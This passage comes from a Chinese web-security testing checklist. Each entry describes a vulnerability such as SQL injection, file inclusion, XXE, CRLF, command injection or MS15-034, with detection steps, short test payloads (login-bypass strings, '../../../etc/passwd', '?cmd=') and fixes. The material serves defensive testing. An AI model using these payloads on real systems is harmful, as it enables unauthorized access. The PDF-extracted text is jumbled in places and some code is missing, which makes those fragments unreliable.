或server/default/conf/props/ties(version>=4.0.2)

和WEB-INF/classes/ties

或server/default/conf/props/ties(version >=4.0.2)

修复方案 添加用户名密码

3、编辑WEB-INF/去掉security-domain 块的注释，（该文件定义了登录授权方式）。

4、 对于 invoker, 采用以下方案：

升级相关的 JBOSS中间件到最新版本，或者对该删除$JBOSS_HOME/[server]/all/deploy和$JBOSS_HOME/[server]/default/deploy下的 、 这两个.War文件来禁止对

Jmx-console 和Web-console 的访问。实际案例：

问题出现在 $JBOSS_HOME/[server]/default/deploy下的/包上，通过删除该.war 文件已经修复该问题

其他说明

值的映射文件为

2.1.3 远程代码执行漏洞

漏洞名称 远程代码执行漏洞

是Microsoft Windows处理 HTTP请求的内核驱动程序。会错误解析某些特殊构造的 HTTP请求，导致远程代码执行漏洞。成功利用此漏洞后，攻击者可在 System帐户上下文中执行任意代码。 由于此漏洞存在于内漏洞描述

核驱动程序中，攻击者也可以远程导致操作系统蓝屏。此次受影响的系统中，Windows 7 、Windows 8 、Windows Server

2008 R2和Windows Server 2012所带的 驱动均存在一个远程代码执行漏洞，远程攻击者可以通过IIS 7（或更高版本）服务将恶意的HTTP请求传递给驱动，通过发送恶意的 HTTP请求导致远程代码执行或操作系统蓝屏

检测条件 1、 被测网站采用了 windows 平台中的 IIS 中间件架构。

访问IIS界面，使用burpsuite抓包，发送到repeater中，在HTTP请求头中加入如下字段 Range:

bytes=18-18446744 ，返回416状态码

检测方法

厂商已在安全公告 MS15-034中修复了此安全漏洞。

我们建议用户开启自动更新服务以及时安装最新补丁，如果不能进行升级，可通过禁用 IIS 内核缓存来临时缓解此漏洞的危险，但这可能会导致IIS 性能下降，配置方法：：

修复方案

1、 打开 IIS 管理器，然后导航至您要管理的级别。有关如何在 UI的各个位置间进行导航的信息，请参阅在 IIS 管理器中导航。

2、 在“功能视图”中，双击“输出缓存”。

3、 在“输出缓存”页中的“操作”窗格中，单击“编辑功能设置”。

4、 在“编辑输出缓存设置”对话框中，单击“启用内核缓存”以将其选中，然后单击“确定”。

其他说明

2.1.4 文件包含

漏洞名称 文件 include 漏洞、文件包含

文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行，并得到网站配置或者敏感文件，进而获取到服务器权限，造成网站被恶意删除，用户和交易数据被篡改等一系列恶性后果。主要包括本地文件包含和远程文件包含两种形式，由于开发人员编写源码，开放着将可重复使用的 代码插入到漏洞描述 单个的文件中，并在需要的时候将它们包含在特殊的功能代码文件中， 然后包含文件中的代码会被解释执行。 由于并没有针对代码中存在文件包含的函数入口做过滤，导致客户端可以提交恶意构造语句提交，并交由服务器端解释执行。文件包含攻击中 WEB服务器源码里可能存在inlcude() 此类文件包含操作函数， 可以通过客户端构造提交文件路径，是该漏洞攻击成功的最主要原因

检测条件

1、Web应采用 include() 等文件包含函数通过动态变量的方式引入需要包含的文件 .

2、 用户能够控制该动态变量

1、常见的文件包含漏洞，出现在以 PHP语言开发的网站中，例如以下代码采用了指定用户的名称，并将该名称包含在要呈现的PHP 页面中，

检测方法

2、通过提供给name 一个恶意数值，导致程序包含来自外部站点的文件，从而可以完 全 控 制 动 态 包 含 指 令 。

比如提交：/?name=../../../etc/passwd

3、 如果我们为动态包含指令指定一个有效文件， 那么该文件的内容会被传递给 PHP 解析器 , 可直接在远程服务器上执行任意PHP文件。如果我们能够指定一条路径来 指向被自己控制的远程站点，那么动态include指令就会执行提供的任意恶意代码，也就是所谓的“远程文件包含”。

4、 构造类型复杂，还需自行研究，进行文件包含的利用。

1、 PHP:配置 关闭远程文件包含功能 (allow_url_include = Off)

2、 严格检查变量是否已经初始化。

3、 建议假定所有输入都是可疑的，尝试对所有输入提交可能可能包含的文件地址，

修复方案 包括服务器本地文件及远程文件，进行严格的检查，参数中不允许出现 ../ 之类的目录跳转符。

4、 严格检查 include 类的文件包含函数中的参数是否外界可控。

5、 不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。

6、 在发布应用程序之前测试所有已知的威胁。

其他说明

3. 逻辑攻击类

3.1.1 验证码功能缺失

漏洞名称 验证码失效、验证码功能缺陷

验证码就是每次访问页面时随机生成的图片， 内容一般是数字和字母（更变态点的有中文，现在已经升级到图片、动画等验证码），需要访问者把图中的数字字母填到表单中提交，这样就有效地防止暴力破解，验证也用于恶意灌水、漏洞描述 广告帖等。在登陆的地方访问一个脚本文件，该文件生成含验证码图片并将值定稿到session里，提交的时候验证登陆的脚本就会判断提交的验证是否在session里的一致，目前常会在验证码失效或者可能被绕过的可能，也成为当前产生web漏洞的一个问题。

检测条件

1、WEB业务运行正常

2、登录页面或者注册，以及其它交互页面，具有验证码功能

1、 登陆页面是否存在验证码，不存在说明存在漏洞，完成检测

2、 验证码和用户名、密码是否一次性、同时提交给服务器验证，如果是分开提交、

分开验证，则存在漏洞

在服务器端， 是否只有在验证码检验通过后才进行用户名和密码的检验， 如果不是说明存在漏洞。 （检测方法：输入错误的用户名或密码、错误的验证码。观察返回信息，是否只提示验证码错误，也就是说当验证码错误时，禁止再判断用户名和密码。）

检测方法 4、验证码是否为图片形式且在一张图片中， 不为图片形式或不在一张图片中，说明存在漏洞，完成检测

5、生成的验证码是否可以通过 html 源代码查看到，如果可以说明存在漏洞，完成检测。

6、 生成验证码的模块是否根据提供的参数生成验证码，如果是说明存在漏洞，完成检测。

7、 请求 10次观察验证码是否随机生成，如果存在一定的规律（例如 5次后出现同一验证码）说明存在漏洞，完成检测。

8、 观察验证码图片中背景是否存在无规律的点或线条，如果背景为纯色（例如只有白色）说明存在漏洞，完成检测。

9、 验证码在认证一次后是否立即失效：

修复方式如下：

1、 系统在开发时注意验证识别后销毁 session 中的验证码。

修复方案 2、 限制用户提交的验证码不能为空

3、 判断提交的验证码与服务器上存储的是否一致

4、 无论是否一致，都将服务器上存储的验证码清空

其他说明

3.1.2 并发漏洞

漏洞名称 并发漏洞

并发漏洞， 常属于逻辑业务中的漏洞类型， 例如攻击者通过并发 http/tcp 请求而达到次获奖、多次收获、多次获赠等非正常逻辑所能触发的效果。下面以简化的例子说明在交易的 Web应用程序中潜在的并行问题， 并涉及联合储蓄帐户中的两个用户 （线程）都登录到同一帐户试图转账的情况：

漏洞描述

帐户 A有100存款，帐户 B有100存款。用户 1和用户 2都希望从帐户 A转10分到帐户 B. 如果是正确的交易的结果应该是：帐户 A 80分，帐户 B 120 分。

然而由于并发性的问题，可以得到下面的结果：

用户 1检查帐户 A （ = 100 分）

用户 2检查帐户 A （ = 100 分）

用户 2需要从帐户 A 拿取 10 分（ = 90 分） ，并把它放在帐户 B （ = 110 分）

用户 1需要从帐户 A 拿取 10分（仍然认为含有 100 个分）（ = 90 分） ，并把它放到B（ = 120 分）

结果：帐户 A 90 分，帐户 B 120 分。

检测条件

1、 Web业务运行正常

2、 Web业务存在逻辑上的并发漏洞。

1、 发送并发 http/tcp 请求，查看并发前后 CGI 功能是否正常。例如：并发前先统计好数据，并发后再统计数据。

2、 检查数据是否合理。

对数据库操作加锁

检测方法

修复方案

其他说明

3.1.3 慢速 HTTP攻击 Slow HTTP Attack

漏洞名称 Slow Http attack 、慢速攻击

慢速攻击基于 HTTP协议，通过精心的设计和构造，这种特殊的请求包会造成服务器延时，而当服务器负载能力消耗过大即会导致拒绝服务。HTTP协议规定，HTTP Request 以rnrn （ 0d0a0d0a结尾表示客户端发送结束，服务端开始处理。那么，如果永远不发送rnrn 就会产生慢速攻击的漏洞，常见的 Slowloris 就是利用这一点来做 DDoS漏洞描述

攻击的。攻击者在 HTTP请求头中将 Connection 设置为Keep-Alive ，要求 Web Server 保持 TCP连接不要断开，随后缓慢地每隔几分钟发送一个 key-value格式的数据到服务端，如 a:brn ，导致服务端认为 HTTP头部没有接收完成而一直等待。 如果攻击者使用多线程或者傀儡机来做同样的操作，服务器的 Web容器很快就被攻击者占满了 TCP连接而不再接受新的请求 rnrn ， 每隔几分钟写入一些无意义的数据流，拖死机器。

检测条件

1、Web业务运行正常

2、 HTTP请求头中 Connection 可设置。

1、 通过 web扫描工具，可发现该类漏洞，但不一定准确。

2、 或者通过 kali 环境下的 slowhttptest 工具来进行检测，它是一款对服务器进行慢攻击的测试软件，包含了几种攻击方式，像 Slowloris 、 SlowHTTP POST、 Slow Read attack 等。在执行相关的命令或者参数后，发现网站访问缓慢，则存在该漏洞

检测方法

1、配置 Nginx 反向代理解决该问题，参考以下链接：

Apache:

/community/tutorials/how-to-configure-nginx-as-a-reverse-p roxy-for-apache

Tomcat:

/nginx/nginx-apache-tomcat-configuration-example/

修复方案 Java servers like Jetty, GlassFish and Tomcat

/resources/wiki/start/topics/examples/javaservers/

其他方法：

Apahce配置参考：

/2011/08/protect-apache-slowloris-attack/

暂未验证该配置方法有效性，建议配置 Nginx 反向代理解决该问题

其他说明

3.1.4 短信攻击

漏洞名称

漏洞描述

短信攻击、短信轰炸、短信 DDOS攻击

短信轰炸攻击时常见的一种攻击， 攻击者通过网站页面中所提供的发送短信验证码的功能处，通过对其发送数据包的获取后，进行重放，如果服务器短信平台未做校验的情况时，系统会一直去发送短信，这样就造成了短信轰炸的漏洞。

1、Web业务运行正常

2、 Web页面中具有发送短信验证码功能。

1、 手工找到有关网站注册页面，认证页面，是否具有短信发送页面，如果有，则进行下一步。

检测条件

检测方法

2、 通过利用 burp 或者其它抓包截断工具， 抓取发送验证码的数据包，并且进行重放攻击，查看手机是否在短时间内连续收到 10条以上短信，如果收到大量短信，则说明存在该漏洞。

修复方案：

修复方案

1、 合理配置后台短信服务器的功能，对于同一手机号码，发送次数不超过3-5 次，并且可对发送的时间间隔做限制。

2、 页面前台代码编写时，加入禁止针对同一手机号进行的次数大于N次的发送，或者在页面中加入验证码功能，并且做时间间隔发送限制。

其他说明

4. 注入攻击类

4.1.1 SQL注入

漏洞名称 SQL注入 、SQL盲注

所谓 SQL注入，就是通过把 SQL命令插入到 Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的 SQL命令。具体来说，它是利用现有应用程序，将（恶意）的 SQL命令注入到后台数据库引擎执行的能漏洞描述 力，它可以通过在 Web表单中输入（恶意） SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行 SQL语句。 造成 SQL注入漏洞原因有两个： 一个是没有对输入的数据进行过滤 （过滤输入），还有一个是没有对发送到数据库的数据进行转义（转义输出）。

1、 Web业务运行正常

检测条件

2、 被测网站具有交互功能模块，涉及到参数提交等等。

3、 例如待测目标 URL，假设为 /

4、 待测目标存在参数输入，假设为 name=value

1、 通过 web漏洞扫描工具进行对网站爬虫后得到的所有链接进行检测，或者手工判断是否存在注入点，一旦确认存在漏洞，可利用自动化工具sqlmap 去尝试注入。几种常见的判断方法：

1、 数字型。测试方法：

host/?id=100 and 1=1 返回成功

host/?id=100 an 1=2 返回失败

2、 字符型。测试方法：

host/?name=rainman’and ‘1’=‘1’ 返回成功

host/?name=rainman’and ‘1’=‘2’ 返回失败

3、 搜索型。搜索型注入：简单的判断搜索型注入漏洞存在不存在的办法是：

1） 先搜索（ ' ），如果出错，说明 90%存在这个漏洞。

2) 然后搜索（ %），如果正常返回，说明 95%有洞了。

3) 然后再搜索一个关键字，比如（ 2006）吧，正常返回所有 2006 相关的信息。

4) 再搜索（ 2006%'and 1=1 and '%'=' ）和（ 2006%'and 1=2 and '%'=' ）

检测方法

4、 绕过验证（常见的为管理登陆）也称万能密码

(1) 用户名输入： ‘ or 1=1 or ‘ 密码：任意

(2)Admin ’ - - （或‘ or 1=1 or ‘ - - ）(admin or 1=1 --) (MS SQL)(直接输入用户名，不进行密码验证 )

(3) 用户名输入： admin 密码输入：’ or ‘1’=’1 也可以

(4) 用户名输入： admin' or 'a'='a 密码输入：任意

(5) 用户名输入：‘ or 1=1 –

(6) 用户名输入： admin‘ or 1=1 - - 密码输入：任意(7) 用户名输入： 1'or'1'='1'or'1'='1 密码输入：任意

5、 不同的 SQL服务器连结字符串的语法不同，比如MS SQL Server 使用符号 +来连结字符串，而 Oracle 使用符号

|| 来连结：

host/?ProdName=Book’ 返回错误

host/?ProdName=B’+’ook 返回正常

host/?ProdName=B’|| ’ook 返回正常说明有 SQL注入

2、 如果应用程序已经过滤了’和 +等特殊字符，我们仍然可以在输入时过把字符转换成URL编码（即字符 ASCII 码的 16进制）来绕过检查。

修复方案

1. 所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL

语句中。

2. 对进入数据库的特殊字符 '"<>&*; 等进行转义处理，或编码转换。

3. 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为 int 型。

4. 数据长度应该严格规定，能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

5. 网站每个数据层的编码统一，建议全部使用 UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。

6. 严格限制网站所用数据库账号的权限，给此用户仅提供能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。

7.

其他说明

避免网站显示 SQL 错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。

4.1.2 XML注入

漏洞名称 XML注入

可扩展标记语言 (Extensible Markup Language, XML) ，用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的

标记语言进行定义的源语言。 XML是标准通用标记语言 (SGML) 的子集，非常适合Web 传输。 XML 提供统一的方法漏洞描述 来描述和交换独立于应用程序或供应商的结构化数

据。发现目前一些普遍使用 xml的场景中都存在一种古老的 XML实体注入漏洞， 这可能导致较为严重的安全问题， 使得攻击者可能可以任意访问服务器以及应用所在网络的

任何资源；

检测条件 1、 被测网站使用可扩展标记语言。

1、 通过手工篡改网站中 xml实体中的头部，加入相关的读取文件或者是链接，或者是命令执行等，如

file:///path/to/；url/;php://filter/read=64-encode/resource=

，类似如下代码所示：

]>

&xxe;

篡改以后，如果可读取 file 文件或者达到植入的命令效果，则说明存在该漏洞。

建议采取以下方式进行修复：

检测方法 1、 检查所使用的底层 xml解析库，默认禁止外部实体的解析。

2、 增强对系统的监控，防止此问题被人利用。

3、 使用第三方应用代码及时升级补丁

4、 对于 PHP,由于 simplexml_load_string 函数的 XML解析问题出在 libxml 库上 , 所以加载实体前可以调用这样一个函数以进行防护，参考代码： 对于 XMLReader和DOM方式解析 , 可以参考如下代码 :

// with the XMLReader functionality:

$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);

// with the DOM functionality:

$dom = new DOMDocument();

$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);

?>

修复方案

其他说明

4.1.3 CRLF注入

漏洞名称 http response splitting attack， HTTP响应头拆分漏洞

HTTP响应头拆分漏洞（ CRLF）”是一种新型的 web攻击方案，它重新产生了很多安全漏洞包括： web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案，包括其衍生的一系列技术产生，是由于 web应用程序没有对用户的提交进行严格过滤，导致非法用户可以提交一些恶意字符，更具体来说，是对用户输入的LF字符没有进行严格的过滤。 CRLF是”回车 + 换行”（ rn ）的简称。在 HTTP协议中， HTTP Header与 HTTP Body是用两漏洞描述 个 CRLF分隔的，浏览器就是根据这两个RLF来取出 HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie 或者 HTML代码，所以 CRLF Injection 又叫 HTTP

Response Splitting （HRS）。是应用程序没有正确的过滤用户提供的输入。远程攻击者可以利用这个漏洞影响或错误的显示Web内容服务，缓存或解释的方式，这可能帮助诱骗客户端用户，导致跨站脚本，缓存破坏或页面劫持等漏洞。

检测条件

1、 Web业务运行正常

2、 HTTP Header可进行篡改。

1、 通过 web扫描工具进行扫描检测，或者手工去判断，手工判断举例：一般网站会在 HTTP头中用 Location:

这种方式来进行 302跳转，所以我们能控制的内容就是 Location: 后面的 XXX某个网址， 如下所示为抓包得到的相关数据包：

HTTP/1.1 302 Moved Temporarily

Date: Fri, 27 Jun 2014 17:52:17 GMT

Content-Type: text/html

Content-Length: 154

Connection: close

Location:

检测方法

然后手工输入链接：

%0aSet-cookie:JSPSESSID%3Dwooyun 后，

再次抓包得到如下

HTTP/1.1 302 Moved Temporarily

Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html

Content-Length: 154

Connection: close

Location: Set-cookie: JSPSESSID=wooyun

这个时候这样我们就给访问者设置了一个SESSION，可以发现在 http header 处多了一行，如果某应用刚好可以受这个参数控制，那将会有重大影响，否则，该漏洞的危害比较小。当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器 Filter 的反射型 XSS。

修复方案如下：

修复方案 1、 建议过滤 r 、n 之类的换行符，避免输入的数据污染到其他HTTP头。具体过滤措施，可参考 SQL注入的修复方案。

其他说明

4.1.4 XFF注入

漏洞名称

漏洞描述

XFF注入、 X-Forwarded-for 注入

XFF，是 X-Forwarded-for 的缩写， XFF注入是 SQL注入的一种，该注入原理是通过修改X-Forwarded-for 头对带入系统的 dns进行 sql 注入，从而得到网站的数据库内容。。

1、 Web业务运行正常

2、 HTTP Header中存在 X-Forwarded-for参数的调用。

1、 检测方法，通过火狐的插件 X-Forwarded-for header 1.0.1.1进行对本地 IP 地址进行修改，为其带入的 IP地址加入敏感字符，如图所示：

检测条件

检测方法

2、 修改后，找到网站登录页面或者其它功能交互页面，提交数据后，查看是否会报错，如果会报错，则说明存在该漏洞， sqlmap攻击效果：

1、 过滤 http 头中的 X-Forwarded-for header 中的内容，不允许其插入敏感字符，过滤字符参考 sql 注入修复方案。

2、 过滤以下敏感字符

需要过滤的特殊字符及字符串有：

net user

xp_cmdshell

add

exec _cmdshell net localgroup administrators select

count

Asc

修复方案

char

mid

‘

：

"

insert

delete from

drop table

update

truncate

from

%

其他说明

4.1.5 XPATH 注入

漏洞名称 XPATH 注入

XPath注入攻击是指利用 XPath 解析器的松散输入和容错特性， 能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码，以获得权限信息的访问权并更改这些信

息。 XPath注入攻击是针对 Web服务应用新的攻击方法，它允许攻击者在事先不知道XPath查询相关知 识的情况下，通过 XPath查询得到一个 XML文档的完整内容。

XPath 注入攻击利用两种技术，即 XPath 扫描和 XPath 查询布尔化。通过该攻击，攻击者可以控制用来进行 XPath 查询的 XML 数据库。这种攻击可以有效地对付使用 XPath 查询（和 XML 数据库） 来执行身份验证、查找或者其它操漏洞描述

作。XPath 注入攻击同 SQL 注入攻击类似， 但和 SQL 注入攻击相比较， XPath 在以下方面具有优势。

（1） 广泛性。 XPath 注入攻击利用的是 XPath 语法，由于 XPath 是一种标准 语言，因此只要是利用 XPath 语法的 Web 应用程序如果未对输入的XPath 查 询做严格的处理都会存在 XPath 注入漏洞，所以可能在所有的 XPath 实现中都 包含有该弱点， 这和 SQL 注入攻击有 很大区别。 在 SQL 注入攻击过程中根据数据库支持的 SQL 语言不同，

注入攻击的实现可能不同。

（2） 危害性大。 XPath 语言几乎可以引用 XML 文档的所有部分， 而这样的引 用一般没有访问控制限制。 但在 SQL

注入攻击中，一个“用户”的权限可能被限制到 某一特定的表、列或者查ML 文档，即完整的数据库。只要 Web询，而 XPath 注入攻击可以保证得到完整的服务应用具有基本的安全漏洞，即可构造针对 XPath 应用的自动攻击。

检测条件 1、 Web业务运行正常

XPath注入攻击主要是通过构建特殊的输入， 这些输入往往是 XPath语法中的一些组合，这些输入将作为参数传入

Web 应用程序，通过执行 XPath查询而执行入侵者想要的操作，下面以登录验证中的模块为例，说明 XPath注入攻击的实现原理和检测方法，在Web 应用程序的登录验证程序中， 一般有用户名 （ username）和密码（password ）两个参数， 程序会通过用户所提交输入的用户名和密码来执行授权操作。 若验证数据存放在 XML文件中，其原理是通过查找 user 表中的用户名 （ username）和密码（password）的结果来进行授权访问，例存在 文件如下：

Ben

Elmore

abc

test123

检测方法

Shlomy

xyz

123test

则在 XPath中其典型的查询语句如下：

//users/user[loginID/text()='xyz' and password/text()='123test']

但是，可以采用如下的方法实施注入攻击，绕过身份验证。如果用户传入一个ogin 和 password，例如 loginID = 'xyz'

和 password = '123test'，则该查询语句将返回 true 。但如果用户传入类似 ' or 1=1 or ''='的值，那么该查询语句也会得到true 返回值，因为 XPath 查询语句最终会变成如下代码：

//users/user[loginID/text()='' or 1=1 or ''='' and password/text()=''or 1=1 or ''='']

这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

目前专门的 XPath 攻击防御技术还不是太多， 但是 SQL 注入攻击防御技术可以加以改进，应用到 XPath 注入攻击防御。具体技术总结如下：

1、 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。

修复方案

2、 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串。

3、 对于系统出现的错误信息，以 IE 错误编码信息替换，屏蔽系统本身的出错信息。

4、 参数化 XPath 查询，将需要构建的 XPath 查询表达式，以变量的形式表示，变量不是可以执行的脚本。如下代码可以通过创建保存查询的外部文件使查询参数化：

declare variable $loginID as xs ：

Gantz

string external ； declare

variable $password as xs ： string external ；

//users/user[@loginID=$loginID and @password= $password]。

其他说明

4.1.6 命令注入

漏洞名称 命令注入

Command Injection ，即命令注入攻击，是指由于 Web应用程序对用户提交的数据过滤不严格，导致黑客可以通过构造特殊命令字符串的方式，将数据提交至Web应用程序中，并利用该方式执行外部程序或系统命令实施攻击，非法获漏洞描述

取数据或者网络资源等。在命令注入的漏洞中， 最为常见的是 PHP的命令注入。 PHP命令注入攻击存在的主要原因是 Web应用程序员在应用 PHP语言中一些具有命令执行功能的函数时，对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如，当黑客提交的数据内容为向网站目录写入 PHP文件时，就可以通过该命令注入攻击漏洞写入一个PHP后门文件，进而实施进一步的渗透攻击。

1、 Web业务运行正常

检测条件 2、 已知某页面 URL（假设为 /）接收参数，且参数中接收类似于系统命令的字符（假设为 cmd=ls）

1、 通过 web扫描工具进行扫描，如果具有该漏洞，一般可以扫描得到，也可以通过手工去进行验证：打开网站，在地址栏中的网址后面输入“?cmd=所要执行的命令”，如下图所示的 192.168.1.3/?cmd=netser ，可以发现命令能够成功执行：

检测方法

Php网站测试也使用同样的方法来进行检测

PHP中命令注入攻击漏洞带来的危害和影响很严重。防范命令注入攻击漏洞的存在可以通过以下几种方法：

1、 尽量不要执行外部的应用程序或命令。

2、 使用自定义函数或函数库实现外部应用程序或命令的功能。

3、 在执行 system、 eval 等命令执行功能的函数前，确定参数内容。

4、 使用 escapeshellarg 函数处理相关参数。 Escapeshellarg 函数会将任何引起参数或命令结束的字符进行转义，修复方案 如单引号“’”会被转义为“ ’”，双引号“”” 会被转义为“ ””，分号“ ; ”会被转义为“ ; ”，这样 escapeshellarg

会将参数内容限制在一对单引号或双引号里面，转义参数中所包含的单引号或双引号，

使其无法对当前执行进行截断，实现防范命令注入攻击的目的。

5、使用 safe_mode_exec_dir 执行可执行的文件路径。 将 文件中的 safe_mode设置为 On，然后将允许执行的文件放入一个目录中， 并使用 safe_mode_exec_dir指定这个可执行的文件路径。这样，在需要执行相应的外部程序时，程序必须在safe_mode_exec_dir 指定的目录中才会允许执行，否则执行将失败。

其他说明

4.1.7 链接或框架注入

漏洞名称 框架注入、链接注入

框架注入、链接注入一个框架注入攻击是一个所有基于 GUI的浏览器攻击， 它包括任何代码如 JavaScript ，VBScript(ActivX),Flash,AJAX(html+js+py)。代码被注入是由于脚本没有对它们正确验证，攻击者有可能注入含有漏洞描述 恶意内容的frame 或 iframe 标记。 “链接注入”是修改站点内容的行为，其方式为将外部站点的URL 嵌入其中，或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中，攻击者便能够以它为平台来启动对其他站点的攻击，以及攻击这个易受攻击的站点本身。

1、 Web业务运行正常

检测条件 2、 被测网站具有交互功能模块，涉及到参数get 和 post 提交等等。

1、 如果应用程序使用框架， 检查主要浏览器窗口的 HTML源代码， 其中应包含框架标

检测方法 记（frameset ）的代码。通过对网站中的 get 提交的 url 中的参数进行框架或者链接注入，如图注入到参数 id 中后效果 :

2、 /a/?id=Fiframe%3E%3CIFRAME+SRC%3D%22http%3A%2F%%22%3E：

建议过滤出所有以下字符：

[1]

[2]

| （竖线符号）

& （& 符号）

[3]; （分号）

[4]

[5]

[6]

[7]

[8]

修复方案 [9]

$ （美元符号）

% （百分比符号）

@ （at 符号）

' （单引号）

" （引号）

' （反斜杠转义单引号）

[10] " （反斜杠转义引号）

[11] <> （尖括号）

[12] () （括号）

[13] + （加号）

[14] CR （回车符， ASCII 0x0d ）

[15] LF （换行， ASCII 0x0a ）

[16] , （逗号）

（反斜杠）

详细过滤方案，请参考 XSS跨站漏洞修复方案。

其他说明

4.1.8 Json hijacking/Json劫持注入

漏洞名称 Json hijacking、 Json劫持漏洞、 Json注入攻击

JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成，

这种纯文本的数据交互方式由于可以天然的在浏览器中使用，所以随着 ajax 和web业务的发展得到了广大的发展，漏洞描述 各种大型网站都开始使用，包括 Yahoo， Google， Tencent ， Baidu 等等，目前各银行都有用这种方式来实现数据交互。 但是如果这种交互的方式用来传递敏感的数据，并且传输的时候没有做太多安全性控制的话将导致安全漏洞，

根据敏感信息的不同导致会导致应用遭受不同级别的攻击。

检测条件 1、 已知 Web网站应用交互采用 json 的数据交换或者传输。

1、 通过抓包分析应用里的数据交互，我们经常可以发现敏感信息泄露的情况发生。通常的方式包括，抓取应用的交互，查看里面敏感的数据，如果在传输的时候没有安全控制， 就可以发现此类漏洞了。 主要的危害是对于一些数据敏感的应用会造成较严重的攻击， 对于数据不敏感甚至是对第三方公开的应用来说，这类问题基本不算是安全问题，通过在第三方域使用 javascript hijacking 的方式我们就可以窃取到敏感数据了。一般的 exploit 代码检测方法

形式如下：

尽量避免跨域的数据传输，对于同域的数据传输使用 xmlhttp 的方式作为数据获取的方式， 依赖于 javascript 在

浏览器域里的安全性保护数据。 如果是跨域的数据传输，必须要对敏感的数据获取做权限认证，具体的方式可以包括：

1、 referer 的来源限制， 利用前端 referer 的不可伪造性来保障请求数据的应用来源

于可信的地方，此种方式力度较稀，完全依赖于 referer ，某些情况下（如存在

修复方案

xss）可能导致被绕过。

2、 token 的加入，严格来说， 这种利用 javascript hijacking 的方式获取数据是 CSRF的一种，不过较之传统的

CSRF不能获取数据只能提交而言，这种方式利用javascript 可以获取一些敏感信息而已。 如果我们能让攻击者对接口未知， 就可以实现 json hijacking 的防御了。利用 token 对调用者的身份进行认证，这种方式对于调用者的身份会要求力度较细，但是一旦出现 xss 也可能导致前端 Token的泄露，从而导致保护失效。

3、 对于同域的 json 使用情况下，可以在数据的输出头部加入 while(1); 的方式避免数据被 script.

其他说明

4.1.9 宽字节注入

漏洞名称 宽字节注入

宽字节注入是相对于单字节注入而言的，该注入跟 HTML页面编码无关， 宽字节注入常见于 mysql 中， GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节，实际上只有两字节。宽字节带来的安全问题主要是吃 ASCII 字漏洞描述

符（一字节）的现象，当 %df’ 被PHP转义（开启 GPC、用 addslashes 函数，或者 icov 等），单引号被加上反斜杠 ，变成了 ’，其中 的十六进制是 %5C ，那么现在’ = %df%5c%27，如果程序的默认字符集是 GBK等宽字节字符集，则MYSQL用 GBK的编码时，会认为 %df%5c 是一个宽字符，也就是 x’，也就是说：’ = %df%5c%27=x’，有了

单引号可以注入了，

检测条件

1、 Web业务运行正常。

2、 Php+mysql的搭配，则需要进行检测。

检测时， 了解了其原理为： php 使用 php_escape_shell_cmd 这个函数来转义命令行字符串时是作为单字节处理的

而当操作系统设置了 GBK、EUC-KR、SJIS等宽字节字符集时候，将这些命令行字符串传递给MySQL处理时是作为多字检测方法

节处理的，如： localhost/?username=%df%27 //多字节编码%df%27=運 ' // 看，出单引号了，后面就可以构造了localhost/test/?username=%df%27 or1%23 sql 语句类似这样 : SELECT * FROMdemo

WHERE username = '運' or 1#' LIMIT 1

这样就可以注入，或者 id =%df’%20or%201=1%20limit%201,1%23&pass=

1、 改 Windows下的 MySQL配置文件一般是 ， Linux 下的 MySQL配置文件一般是 ，在初始化连接和字符集之后，使用SET character_set_client=binary来设定客户端的字符集是二进制的。character_set_client指定的是 SQL语句的编码，如果设置为 binary ，MySQL就以二进制来执行，这样宽字节修复方案

编码问题就没有用武之地，如mysql_query( ”SET character_set_client=binary”);

2、 转义数据：一些合法的数据可能在无意中破坏SQL 语句本身的格式。使mysql_escape_string()或者所使用数据库提供的转移函数。 如果没有提供这样的 函 数 ， addslashes()也 是 不 错 的 最 后 选 择 . 原 理 是 ，mysql_real_escape_string 与 addslashes 的不同之处在于其会考虑当前设置的字符集，不会出现前面 e5和 5c拼接为一个宽字节的问题。

其他说明

具体的检测与绕过的方法请参考：

/blog/u011721501/42874517

5. 客户端攻击类

暴力破解是目前最直接有效的攻击方式，特别对于电信业务来说，很多情况下口令都为6位纯数字，很容易被攻击。本测试项在于检查认证系统对暴力破解的防护性。在以下的一些测试中，围绕能否满足暴力破解进行的设计， 未设计直接进行暴力破解的攻击用例。如果需要，测试人员可以使用hydra和AppScan中集成的 Authentication Tester 工具进行。

5.1.1 XSS跨站脚本攻击漏洞

漏洞名称

漏洞描述

存储型 XSS跨站脚本，反射型 XSS跨站脚本

存储型 XSS跨站脚本，反射型 XSS跨站脚本，跨站脚本攻击的英文全称是 Cross Site Script，为了和样式表区分，缩写为 XSS。发生

